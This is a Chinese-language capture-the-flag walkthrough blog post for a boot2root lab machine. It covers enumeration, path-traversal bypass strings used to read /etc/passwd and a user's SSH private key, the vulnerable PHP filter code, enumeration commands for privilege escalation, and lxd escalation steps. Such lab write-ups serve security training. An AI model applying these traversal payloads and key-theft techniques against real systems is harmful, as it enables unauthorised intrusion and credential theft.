难度:中等
靶机发布日期:2019年11月27日
靶机描述:
Level: Intermediate-Hard
User flag: user.txt
Root flag: root.txt
Description: It’s a Boot2Root machine. The machine is VirtualBox compatible but canbe used in VMWare as well (not tested but it should work). The DHCP will assign an IPautomatically. You have to find and read two flags (user and root) which is presentin user.txt and root.txt respectively. Enjoy pwning it!
We recommend that you use VirtualBox and not VMware for this VM
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]
工具、知识点和漏洞
- nmap
- gobuster
- burpsuite
- SSH密钥登录
- 文件读取
- ByPass
- lxd提权
0x00、信息收集
靶机IP:192.168.56.107
nmap -sn 192.168.0.0/24
端口和服务
nmap -sS -sV -T5 -A -p- 192.168.56.107
页面、目录枚举
gobuster dir -u http://192.168.56.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
首页是Apache2 Ubuntu Default Page
进行二次页面、目录枚举,URL为http://192.168.56.107/lavalamp/
,得到如下结果
- /index.html (Status: 200)
- /img (Status: 301)
- /css (Status: 301)
- /js (Status: 301)
- /head.php (Status: 200)
- /skin (Status: 301)
- /fonts (Status: 301)
- /contactform (Status: 301)
- /Readme.txt (Status: 200)
访问各个页面
/lavalamp/head.php,没有发现什么有价值的信息,除了title
是:Can You Bypass Me?
,似乎是一个hint
禁止访问的目录
- http://192.168.56.107/lavalamp/img/
- http://192.168.56.107/lavalamp/css/
- http://192.168.56.107/lavalamp/js/
- http://192.168.56.107/lavalamp/skin/
- http://192.168.56.107/lavalamp/fonts/
- http://192.168.56.107/lavalamp/contactform/
这么来看只有再去看一下/lavalamp/index.html
页面了,查看源代码的过程中发现了contactform/contactform.js
,随即访问了一下,然后在这个js脚本中发现了canyoubypassme.php
访问/lavalamp/canyoubypassme.php
时发现跟/lavalamp/head.php
居然长得一模一样~这就不对劲了呀。随后查看源代码,发现有个透明度被设置为0(opacity: 0.0
)的table
标签,随即将其修改为opacity: 1.0
从字面意思来看,是让我们输入一个数,然后下载它~啥意思啊,照着做一遍,输入了数字1,结果得到了这么一个大黑块~
抓个包看看吧。发现数字对应的参数名为file
,这个好像有搞头,比如输入/etc/passwd
之类的
猜测这里可能存在LFI
漏洞或者文件读取漏洞
把请求发送到Intruder模块,用fuzz字典跑一下。一部分Response的Content-Length是2835,还有一部分是3126,分别查看响应内容之后发现了You are not allowed to do that
的提示。
说明这里需要进行bypass,经过尝试发现了以下几种bypass的方式:
;../../../etc/passwd
AAAAAAAAAAAA../../../etc/passwd
%252e%252e%252f../../../etc/passwd
%250C../../../etc/passwd
%25A0../../../etc/passwd
0x01、SSH私钥登录靶机
本来想用日志文件+LFI来getshell的,老外管这种方式叫Log Poisoning
,翻译过来就是日志投毒。比如Apache的访问日志、错误日志、SMTP日志、SSH日志。但我试了一下Apache日志读取不到。
- LFI漏洞利用总结
- 利用SMTP日志+LFI本地文件包含进行getshell
- [如何优雅的把LFI转化为RCE(2017-02-27更新版)](- https://xz.aliyun.com/t/1249)
接下来又是一个转折点:读取SSH私钥,通过私钥登录靶机。
第一个信息:通过/etc/passwd可以看到系统中还有一个用户ford
。
第二个信息:之前nmap扫描的时候发现SSH的端口为6688
第三个信息:通过SSH登录靶机的时候提示Permission denied (publickey).
一般情况下都是在用户目录下的.ssh文件夹中存在SSH的密钥,所以尝试直接读取SSH的密钥。
复制私钥到kali
登录时使用-i
参数指定私钥
登录到靶机之后,查看了一下canyoubypassme.php
,发现这里并不是LFI,而是文件读取。下面是过滤规则的代码:
<?php
if(isset($_POST['read']))
{
$file=strtolower($_POST['file']);
if((strstr(strtolower($file), 'localhost') == true || strstr($file, '127.0.0.1') == true || strstr($file, '2130706433') == true || strstr($file, '[::]:80') == true) && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
{
// some code
}
elseif(strstr($file, 'localhost') == false && preg_match('/(^https*:\/\/[^:\/]+)/', $file)==true)
{
// some code
}
elseif (substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
// some code
}
else
{
echo '<textarea rows=20 cols=60>'.file_get_contents("/tmp/".$file)."</textarea>";
}
}
?>
之后又看了一下为啥不能看日志,原因是没有权限……
0x02、 权限提升
--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------
SUID权限可执行文件,没有可用的
find / -perm -u=s -type f 2>/dev/null
常见的SUID提权可执行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt
查看计划任务
cat /etc/crontab
查找sudo权限命令,需要输入密码
sudo -l
本来想跑Python脚本看看有没有什么可利用的东西,结果靶机上没装Python……
Python用不了没关系,我们还有LinEnum.sh,执行完之后给了我们一个提示lxd
。记得之前有个靶机就是通过lxd填权的。
lxd提权方法参考:Lxd Privilege Escalation
第一步,在kali上生成镜像
第二步,在靶机上导入镜像
在镜像所在的目录下使用Python开启HTTP服务,靶机通过wget下载到镜像的/tmp目录
第三步,在新的容器中初始化镜像
第四步,在/root目录加载容器
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.